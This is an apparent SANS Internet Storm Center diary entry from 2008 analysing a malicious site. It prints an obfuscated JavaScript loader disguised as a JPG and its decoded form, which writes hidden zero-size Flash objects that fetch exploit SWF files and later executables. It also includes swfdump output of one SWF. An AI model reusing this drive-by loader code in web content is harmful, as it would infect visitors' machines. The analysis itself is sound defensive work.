Threat Level: green Handler on Duty: Johannes Ullrich

SANS ISC: InfoSec Handlers Diary Blog - Malicious swf files? InfoSec Handlers Diary Blog

Sign Up for Free!   Forgot Password?
Log In or Sign Up for Free!

Malicious swf files?

Published: 2008-05-27
Last Updated: 2008-05-28 00:38:42 UTC
by Adrien de Beaupre (Version: 3)
0 comment(s)

Marco and Eric wrote in to let us know of a potentially malicious site found at


The JPG file is actually a script, shown below:

window.onerror=function(){return true;}
function init(){window.status="";}window.onload = init;
if(!''.replace(/^/,String)){while(c--){d[e(c)]=k[c]||e(c)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace
(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('n(2.q.k("i=")==-1){E 5=F D();5.C(5.G()+12*j*j*B);2.q="i=K;J=/;5="+5.I();n(L.y.t().k("s")>0){2.3(\'<r
A="z:u-x-v-w-H" Y="6://15.14.9/13/10/11/17/18.M#1a=4,0,19,0" l="0" m="0"
16="Z">\');2.3(\'<8 7="R" a="Q"/>\');2.3(\'<8 7="P" a="6://g.h.9/e/f/d/b/p.
c"/>\');2.3(\'<8 7="N" a="O"/>\');2.3(\'<8 7="S" a="#T"/>\');2.3(\'<X o="
6://g.h.9/e/f/d/b/p.c"/>\');2.3(\'</r>\')}W{2.3("<V o=6://g.h.9/e/f/d/b/U.c l=0 m=0>")}}',62,73,'||document|write||expires|http|name|param|com|value|

Using spidermonkey, it decodes to:

if(document.cookie.indexOf("playon=")==-1){var expires=new Date();expires.setTime(expires.getTime()+12*60*60*1000);
if(navigator.userAgent.toLowerCase().indexOf("msie")>0){document.write('<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase=",0,19,0"
width="0" height="0" align="middle">');document.write('<param name="allowScriptAccess" value="sameDomain"/>');document.write('<param name="movie" value="hxxp://"/>');
document.write('<param name="quality" value="high"/>');
document.write('<param name="bgcolor" value="#ffffff"/>');
document.write('<embed src="hxxp://"/>');
("<EMBED src=hxxp:// width=0 height=0>")}}

Lets get the swf files and see what they do, wget works.
file 07.swf
07.swf: Macromedia Flash data (compressed), version 9
file 08.swf
08.swf: Macromedia Flash data (compressed), version 9

Virustotal shows 0/32 for both files.

Swftools can show us what the swf files do:
swfdump -D 08.swf
[HEADER]        File version: 9
[HEADER]        File is zlib compressed. Ratio: 96%
[HEADER]        File size: 208 (Depacked)
[HEADER]        Frame rate: 12.000000
[HEADER]        Frame count: 1
[HEADER]        Movie width: 1.00
[HEADER]        Movie height: 1.00
[045]         4 FILEATTRIBUTES
[009]         3 SETBACKGROUNDCOLOR (ff/ff/ff)
[018]        31 PROTECT
[00c00c]       138 DOACTION
                 (   99 bytes) action: Constantpool(5 entries)
String:"flashVersion" String:"/:$version"
String:"ff.swf" String:"_root"
                 (    4 bytes) action: Push Lookup:0 ("flashVersion") Lookup:1 ("/:$version")
                 (    0 bytes) action: GetVariable
                 (    0 bytes) action: DefineLocal
                 (    4 bytes) action: Push Lookup:2
Lookup:0 ("flashVersion")
                 (    0 bytes) action: GetVariable
                 (    0 bytes) action: Add2
                 (    2 bytes) action: Push Lookup:3 ("ff.swf")
                 (    0 bytes) action: Add2
                 (    2 bytes) action: Push Lookup:4 ("_root")
                 (    0 bytes) action: GetVariable
                 (    1 bytes) action: GetUrl2 64
                 (    0 bytes) action: Stop
                 (    0 bytes) action: End
[001]         0 SHOWFRAME 1 (00:00:00,000)
[000]         0 END

Running the swf files in a web browser gives me the following URLs:
Both of which got me a big fat 404.
Either the final files have been removed, or are looking for a different version of the player.

Thanks to Bojan and Jeremy for their help!

Unknown at this time if these SWF files are related to this vulnerability.

Update1: Fiddling with the URL and looking for potentially vulnerable versions of the player rendered this:


Which gives us a couple of things. One is that this would seem to be an exploit against Adobe Flash Player. Second is that the apparent vulnerable version would be Third is that there is likely additional malware to see continuing down the rabbit hole. Interestingly this SWF file may be exploiting CVE-2007-0071 and not the potentially new previously unknown vulnerability announced by Symantec today, assuming they are different. 

At this time Adobe still has not released any significant information at their blog some clarification would be nice.

Indeed, hxxp:// is downloaded, then hxxp://

Virustotal was 7/31 for ax.exe, and 7/31 for setip.exe earlier this evening.

Other examples of sites serving malicious swf files are now rolling in, which is the perfect timing for me to hand off the awesome power of the Handler On Duty (HOD) reigns to Jim. Hit the Big Red Button (BGR)!! Must go InfoCon orange...

Adrien de Beaupre
Bell Canada, Professional Services

Keywords: malware swf
0 comment(s)
Diary Archives